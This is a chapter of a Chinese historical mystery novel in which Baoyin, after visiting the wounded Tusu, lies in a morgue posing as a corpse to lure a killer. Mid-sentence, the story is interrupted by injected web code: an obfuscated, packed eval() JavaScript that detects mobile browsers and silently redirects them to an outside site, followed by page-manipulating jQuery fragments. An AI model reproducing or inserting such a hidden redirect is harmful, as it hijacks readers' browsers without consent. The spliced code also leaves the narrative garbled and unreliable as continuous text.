午后,宝音用过午膳与药。崔承戟取来昨夜宝音见鬼时的寝衣,衣领袖口处皆被火燎坏了,身上却完完整整,布着斑斑血痕。
宝音抱着寝衣,昨夜的景象如浪潮拍岸再度回到她的记忆中,她感觉到自己呼吸越来越急促、心跳越来越快,她尝试着让自己平静、不再去想那些惊怖可怕的事,但无能为力。在她感觉快要窒息的瞬间,二叔轻轻握住她的肩:“如果宝音不愿,一切皆可回头。”
仿佛春风抚过心头的褶皱,她长长呼出滞在心头的一口浊气。
宝音摇头,将寝衣抱紧:“只要能帮榕度报仇,帮二叔查案,宝音做什么都甘愿。”
崔承戟的话梗在喉间,张了半晌嘴,最后还是缄默其口。他此番将宝音移至靖州府衙,心底深处其实是希望宝音能在停尸房装尸体,勾那暗中凶手现身。只是他的这笼子话还未及说出口,宝音便说要学仵作之法,他顺水推舟请宝音帮忙“装死”,而验尸用毒这些他却模棱两可,既不答应,也不直接拒她。一来宝音如今正浸在榕度等人之死的悲哀中,实不必逆了她的心志,教她焦心;二来宝音今晨昏睡至醒来,口中常喃喃“长舌鬼”等字眼,只怕猝然拒了她,她又有心思想那“鬼”,反倒不利于宝音将养神思身体。
她是他们崔家的女儿,是他亡兄唯一的骨肉。他怎可能舍得让她去学那最低贱的仵作手艺?她合该明媚肆意,如春花一般,将琴棋书画、插花品茗学得熟稔,日后再无人欺她、嘲她。
当下崔承戟心中一番计较,那厢宝音已换好昨夜旧衣,早间刚梳好的发髻也被她扯了几缕碎发垂在颊边,宛然一副刚从火堆逃生模样。宝音垂头见衣裳大片大片血迹,蹙眉问道:“二叔,昨夜我未曾受伤,只手臂腿上燎了几个血泡,怎生这寝衣上这么多血?”
崔承戟抿唇:“皆是屠苏的。”
宝音心头一绞,忙攀住他手:“屠苏到底怎样了?”
崔承戟抬眸看窗外天色,就势挽她手:“天色尚早,宝音想不想去望望他?”宝音哪还有不愿的道理,她双眸透着焦切,只顾点头应允。崔承戟一壁取了氅衣披在她身上,一壁拉她往屠苏房里走:“昨夜赶到时,屠苏伏在你身上,替你挡火。此外,他身上还有两处刀伤,一处在腹部,一处在心口。”
宝音眉峰一跳,颤声:“那……他……岂不是……”她不敢再说下去,好像只要不说“死”字,屠苏便不会死似的。
“他伤得虽重,但幸好都不曾伤在致命处。苏郎中来瞧过,屠苏命大,他心长在左胸膛,故而还有得救。”崔承戟想起今晨苏郎中替屠苏清理伤口,敛了眸子细想伤口穴位,“这凶手每一刀都扎在要害处,想必是训练有素的死士。”一时他又想起救下宝音那夜意外突袭的刺客,那名刺客擎刀直直往马车冲将而去,仿佛知道宝音躲在里头似的。待崔承戟近前拦住,他又飞快扔出柳叶袖箭,却有故意避开要害,好像专程想让他活着受那毒发的煎熬,于痛苦中慢慢死去。
眨眼间二人已行至屠苏睡卧的客厢。微透的杏黄布幔后,隐隐约约露出屠苏的身体轮廓。他裸身睡在木床上,胸口、腹部及手臂处均用棉纱布包好,下身仅以一床薄被蔽体。
宝音鼻头酸涩,眼眶不自觉也红了。探出手想拨开床幔细细瞧他伤逝,却被崔承戟握住腕子:“莫打搅他了。”宝音含泪点头,恰一阵风自窗外而来,拂开床幔堪堪露出屠苏深皱的眉心。半幅床幔柔柔地拂过屠苏右臂,轻轻刮蹭着棉纱布裹好的伤处,屠苏自昏睡中忍不住溢出一声嘤咛。
崔承戟关了窗,回身却见宝音跪坐在床前踏板上,把脸埋在手里,指缝间滴出颗颗泪珠,啪嗒啪嗒在踏板上洇出粒粒圆珠。她两肩耸动,只发出极轻微的啜泣,似在极力抑制满腔悲情。崔承戟上前握住宝音肩头,和声慢气地:“放心,屠苏死不了。有二叔在,不会再有人离开宝音了。”
宝音将脸埋进崔承戟怀中,呜呜咽咽地抽泣:“是我对不住他们,是我害死了他们。”
崔承戟心头软了又软,他低声心道:我又何尝对不住你?对不住他们?可到底没有说,只搂着宝音抚背顺气。大抵活着的人总是愧疚,而亡者却可无牵无挂地把他们抛闪。只是从前崔承戟在大理寺待得久了,死亡是他司空见惯的事,他早已麻木。如今宝音来到他身边,单单是别人因她受伤,就能教她伤心愧疚好一阵子,崔承戟忽又对这个“死”字有了不一样的体悟。
他正想着如何出言宽慰宝音,怀中人却抖抖索索地抬头,咬住下唇尽力不使哭腔吵扰了床上休息的屠苏:“二叔,带我去停尸房吧。”
他忽然很不想宝音去了。
其实,他大可寻个与宝音差不多身形的女孩,替宝音躺在那儿。就算一时半会儿寻不到这样的女孩,靖州城露宿街头的那些花子里,总归有同宝音差不多体型的了,他何必让宝音再度涉险呢?
只是低头望进宝音眼里,小姑娘覆了泪水的眸子直直射出一腔孤勇坚毅,她下了很大的决心,非但是今夜在停尸房装死,还有学习仵作之法、学习用毒之术。
她不要再做等人拯救的娇花儿了。
见崔承戟不言,宝音恳切求道:“二叔,我会保护好我自己的。何况有您和榕参在身边,万不会有事的。”
她当然不能再有事。宝音和崔承戟一齐心道。
崔承戟长叹口气,哑声:“好。”言罢,替宝音擦干眼泪,又为她抚背顺气,好一会子宝音才渐渐平息了。
停尸房内暗无天光,隐隐有腐臭熏鼻。宝音跟在崔承戟后头,甫一踏入此地半步,只觉得阴凉入骨,浑身浮起鸡皮疙瘩,脚步也不由得放缓。
崔承戟觉到身后宝音的悚惧,亦缓步转身,悄声问:“怕吗?”宝音摇头,攥拳紧两步追上二叔:“不怕。”
眼前置六床窄长桌案,其中五个皆有白布覆盖的尸体,剩下角落那个尚空着。崔承戟行至空桌案前,转身见宝音立在五床尸骨前,直着眼睛,抿唇不说话。他以为小姑娘眼眶又濡湿了,正欲出声安慰,宝音偏过脸:“不会再有人因我而死,因我受伤了。”
“宝音……”
宝音已走近,指角落这张空桌:“我躺这里吗?”
崔承戟点点头。桌案略高,崔承戟两手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288184|166773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
握在宝音腰间,一使力将她抱坐在桌案上。宝音手搭在崔承戟肩头,眸子却掠过他,盯住他身后五具尸体。他感觉到宝音搁在自己肩上的手微微颤抖,叹气:“若不行……”
“一定行!”她急促打断他,哪怕心里已怕得要死。
怎能不怕呢?身后五具尸体,哪怕生前他们与她极亲近,此刻也只是无声地躺在那儿,任由一方白布盖住所有。
崔承戟自怀中掏出一只袖箭,仔细戴在宝音右手腕间:“虽说我与榕参皆在门外,但以防万一,倘若那人对你不利,就用这袖箭逼退他。只要你出声,我和榕参必定立时赶来。”他低头向宝音示意如何使用袖箭,待宝音点头后,才扯过她袖口将袖箭轻轻掩住。
宝音忽地指其中一具尸首,问:“那具身体,怎么看上去身量不高?”
崔承戟仍低头在替她理衣袖:“嗯。那是宋敏珠。”
宝音心头一惊,脑中又想起昨夜宋敏珠扣响雀音阁的情形,可现在她竟死了。这一切的一切,莫不透着诡异。宝音嘴唇翕动,想说什么,终究咽回去。她并不缅怀可怜宋敏珠,可一条鲜活生命就此在她眼前消失,那点因死亡带来的怅惘浮上心头。
不管是你喜欢的,还是你讨厌的,终有一天黄土白骨,归于无尽。
意识到这一点,宝音倏然抬眸,盯住二叔的脸,面如冠玉、眉目俊朗,可再好的皮囊,却也有沦为枯骨的那日。她感觉到无边的虚无。
崔承戟不知她心中悲情,还以为她是悲宋敏珠之死,捏捏她颊边肉:“宝音不是不喜欢她么?怎生还为得她红了眼圈?”
宝音偏头躲过去:“我在想,若有一天,二叔不在了……”
崔承戟不由笑出声:“若有一天,二叔不在了,宝音合该带着夫婿及孩子们跪在二叔灵前,生生叩满三个响头。否则二叔到地底下也不安心。”他神思也不禁驰荡,横竖这辈子他要为阿兄奔走一生,若死后宝音及她的郎婿、孩子能来祭拜,他也算死后有靠了。
宝音却偏了脸,蹙眉抿唇,她不爱听这话。崔承戟知她心里别扭,但到底也猜不出小姑娘家的玲珑心思,只好教她躺下,亲自替她盖上遮尸白布。那白布挡住宝音眉眼的前一瞬,他望见宝音睁着一双圆溜儿的潋滟杏眸,直直望着他,只望着他。
再怎么逞强,也还是个小女娘啊,世上只剩下他和父亲能依靠的小女娘。近年来父亲身体不豫,若有一日……那她只剩下他能依傍了。崔承戟在心中叹。
宝音躺在冰冷坚硬的木板上,身上只盖了一层薄薄的白布。不过几炷香的时间,她就感到身体酸麻,仿佛有无数只噬骨小虫在她身上又爬又咬。
她来此间时,不过黄昏时分,此刻孤身一人躺在这儿,仿佛已过了大半夜。宝音在心底掐着时间,不觉困意袭来。待朦朦胧胧地将要彻底睡下,她听见门从外推开的吱呀声。一时间气血逆流,宝音一颗心近乎提到嗓子眼儿,她屏息凝神,而心如鼓擂。
“崔承戟被刺史叫走问案子了,这会儿正是时候。你在外头守着。若有人来,立时学鸟叫。”
是两个人!